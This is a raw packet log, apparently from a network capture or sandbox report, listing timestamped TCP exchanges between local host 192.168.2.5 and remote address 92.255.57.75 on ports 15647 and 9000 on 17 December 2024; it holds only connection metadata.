Dec 17, 2024 08:40:13.015033007 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.030538082 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.031810999 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.040822983 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.042105913 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.065722942 CET	9000	50032	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.065804005 CET	9000	50032	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.065884113 CET	50032	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.065984011 CET	50032	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.071288109 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.071434021 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.083858967 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.086764097 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.111155987 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.113697052 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.113773108 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.122847080 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.122864962 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.122904062 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.142112970 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.142131090 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.142215967 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.147684097 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.147702932 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.147914886 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.161895990 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.162064075 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.177342892 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.177380085 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.177489996 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.185905933 CET	9000	50032	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.191380978 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.195008993 CET	50037	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.209979057 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.227169991 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.230292082 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.230382919 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.230555058 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.230612040 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.231771946 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.231834888 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.231930017 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.242774963 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.242861986 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.261203051 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.263047934 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.268767118 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.268784046 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.268868923 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.287602901 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.297327995 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.299818993 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.305658102 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.307827950 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.314941883 CET	9000	50037	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.315829992 CET	50037	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.317081928 CET	50037	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.327645063 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.329917908 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.331826925 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.336513996 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.336625099 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.336736917 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.347115040 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.347827911 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.351542950 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.351623058 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.353971004 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.355817080 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.375191927 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.380985975 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.383850098 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.388649940 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.389822960 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.389857054 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.389903069 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.398813963 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.399827957 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.407475948 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.407547951 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.427011967 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.427563906 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.427799940 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.436830044 CET	9000	50037	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.444797039 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.447628021 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.447825909 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.449971914 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.450107098 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.450195074 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.456700087 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.459836960 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.460025072 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.462240934 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.471415997 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.471949100 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.489070892 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.495043993 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.495836020 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.503802061 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.506815910 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.506920099 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.506927967 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.506978035 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.508361101 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.511818886 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.519710064 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.519810915 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.522135019 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.522211075 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.546855927 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.547127008 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.547142029 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.547256947 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.564874887 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.565274000 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.567553043 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.569813013 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.572376966 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.572441101 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.572463989 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.582031012 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.583916903 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.604166031 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.608865023 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.611826897 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.615663052 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.615809917 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.628226042 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.628402948 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.628528118 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.629669905 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.631795883 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.639749050 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.643842936 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.662775040 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.662838936 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.662858963 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.664184093 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.664246082 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.664253950 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.667654991 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.667772055 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.687254906 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.687331915 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.692213058 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.695873022 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.695951939 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.702040911 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.702122927 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.702287912 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.702430010 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.724050045 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.724112988 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.724113941 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.724237919 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.724298000 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.731672049 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.731729984 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.748462915 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.748517036 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.749304056 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.749397993 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.749428034 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.763676882 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.763789892 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.766644001 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.766777039 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.766808033 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.783915043 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.784378052 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.787667036 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.787781000 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.789552927 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.789598942 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.789643049 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.815723896 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.815800905 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.815983057 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.816032887 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.816060066 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.816099882 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.822163105 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.822221041 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.823643923 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.823707104 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.851577997 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.851639032 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.854643106 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.854727030 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.854742050 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.869162083 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.869412899 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.877224922 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.877290964 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.877290010 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.884202957 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.884254932 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.885068893 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.885113955 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.885174990 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.885294914 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.893893003 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.907556057 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.907695055 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.915941000 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.915998936 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.930845976 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.930907011 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.930922985 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.940628052 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.940690994 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.965996981 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.966080904 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.966085911 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.967536926 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.967597961 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.974507093 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.974668026 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.992288113 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.992425919 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:13.992533922 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.003977060 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.007822990 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.007870913 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.027607918 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.035692930 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.035841942 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.035872936 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.035917044 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.046915054 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.047070026 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.047158957 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.048631907 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.051836014 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.061723948 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.061737061 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.061815977 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.078423023 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.078871965 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.078924894 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.078988075 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.094428062 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.095987082 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.096236944 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.115016937 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.115263939 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.115360975 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.115451097 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.127684116 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.127825022 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.144798040 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.147418976 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.147821903 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.155654907 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.155814886 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.157780886 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.159830093 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.166604996 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.167830944 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.171652079 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.171720982 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.183381081 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.183836937 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.198280096 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.198379040 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.215521097 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.219527960 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.219841003 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.234872103 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.235824108 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.238706112 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.238782883 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.257669926 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.264658928 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.267699957 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.267801046 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.270704031 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.270816088 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.279556990 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.279828072 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.289310932 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.289343119 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.289441109 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.303618908 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.303833961 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.319717884 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.319885015 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.335448980 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.335844040 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.352793932 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.355559111 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.355813026 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.358462095 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.359859943 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.375977039 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.377427101 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.379833937 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.390590906 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.391819000 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.408019066 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.408530951 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.410552979 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.410621881 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.410698891 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.432569027 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.439640999 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.439728975 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.456866026 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.456980944 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.462891102 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.462971926 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.463027000 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.463066101 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.464459896 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.473253965 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.473329067 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.479918957 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.479942083 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.480036974 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.495717049 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.495907068 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.496620893 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.496660948 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.496690989 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.496715069 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.511661053 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.511761904 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.515187025 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.515250921 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.515283108 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.528362036 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.528526068 CET	49998	15647	192.168.2.5	92.255.57.75
